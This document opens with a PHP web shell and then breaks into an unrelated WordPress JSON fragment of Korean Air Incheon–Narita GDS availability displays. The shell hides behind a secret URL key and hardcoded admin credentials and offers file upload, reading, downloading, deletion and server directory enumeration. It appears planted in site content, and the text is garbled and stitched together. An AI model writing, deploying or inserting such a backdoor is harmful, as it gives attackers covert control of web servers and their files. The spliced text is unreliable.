// -------- MARK START -------- if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo '
✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)
'; } else { echo '❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')
'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '❌ Error: '.($errors[$f['error']] ?? 'Unknown').'
'; } } echo '';
$items = scandir($path);
if ($items) {
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $path.'/'.$item;
if (is_dir($full)) echo '📁 '.$item."/\n";
else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
echo '';
break;
case 'tree':
echo '';
function ws_tree($root, $depth=0, $max=4) {
if ($depth > $max) return;
if (!is_dir($root)) return;
$items = scandir($root);
if (!$items) return;
foreach ($items as $item) {
if ($item === '.' || $item === '..') continue;
$full = $root.'/'.$item;
if (is_dir($full)) {
echo str_repeat(' ', $depth).'📁 '.$item."/\n";
ws_tree($full, $depth+1, $max);
} else {
echo str_repeat(' ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
}
}
}
ws_tree($path);
echo '';
break;
case 'drives':
echo '';
if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
} else {
$cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
}
echo '';
break;
case 'read':
$f = ws_g('f');
if (!$f || !is_file($f)) { echo 'File not found'; break; }
$content = file_get_contents($f);
echo ''.htmlspecialchars($output).''; else echo '
No output'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo ''; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo ''; break; default: echo '
| Name | Size | Perms | Actions | |
|---|---|---|---|---|
| 📁 '.$item.' | '; else echo '📄 '.$item.' | '; echo ''.$size.' | '.$perms.' | '; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo ' |
A07AUGICNNRT-KE.CALL<\/pre>\nA07AUGICNNRT-KE.CALL\r\nCARRIER* 07AUG-TU-0001 ICNNRT(SELTYO)** ** *WL* \r\nICN ALTERNATE GMP\/NRT ALTERNATE HND \r\n1*S#KE 703 R6 A2 J9 C9 D9 I9 Z7 Y9 ICN 2 NRT 1 1010 1230 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 T6 G- \r\n2*S#KE 1 P3 A1 J9 C9 D9 I6 Z3 Y9 ICN 2 NRT 1 1740 2000 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- \r\n3*S#KE 705 R8 A2 J9 C9 D9 I9 Z9 Y9 ICN 2 NRT 1 1835 2105 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- <\/pre>\nDirect Access<\/h4>\n
A07AUGICNNRT-KE.CALL<\/pre>\nA@KE<\/pre>\n>A@KE\r\n*** KOREAN AIR *** \r\n07AUG-TU ICN NRT ** ** \r\n11 KE 703 R6 A2 J9 C9 D9 I9 Z7 Y9 ICNNRT 1010 1230 74H 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 \r\n T6 G- \r\n12 KE 1 P3 A1 J9 C9 D9 I6 Z3 Y9 ICNNRT 1740 2000 333 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 \r\n T9 G- \r\n13 KE 705 R8 A2 J9 C9 D9 I9 Z9 Y9 ICNNRT 1835 2105 772 0 \r\n B9 M9 S9 H9 E9 K9 L9 U9 Q9 N9 \r\n T9 G- \r\n14 KE 787 J9 C9 D9 I9 Z7 Y9 B9 M9 ICNFUK 0800 0925 77W 0 \r\n S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- \r\n15 KE 784 J8 C6 D4 I3 Z3 Y9 B9 M9 PUS 1105 1200 739 0 \r\n S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- \r\n16 KE 713 J8 C4 D4 I2 Z2 Y9 B9 M9 NRT 1600 1810 739 0 \r\n S9 H9 E9 K9 L9 U9 Q9 N9 T5 G- \r\n17 KE 787 J9 C9 D9 I9 Z7 Y9 B9 M9 ICNFUK 0800 0925 77W 0 \r\n S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- \r\n18 KE 784 J8 C6 D4 I3 Z3 Y9 B9 M9 PUS 1105 1200 739 0 \r\n S9 H9 E9 K9 L9 U9 Q9 N9 T9 G- \r\n19*KE5713 J4 C4 D4 I4 Y4 B4 M4 S4 NRT 1410 1615 73H 0 \r\n H4 E4 K4 L4 U4 Q4 N4 T4 \r\n> <\/pre>\n","protected":false},"excerpt":{"rendered":"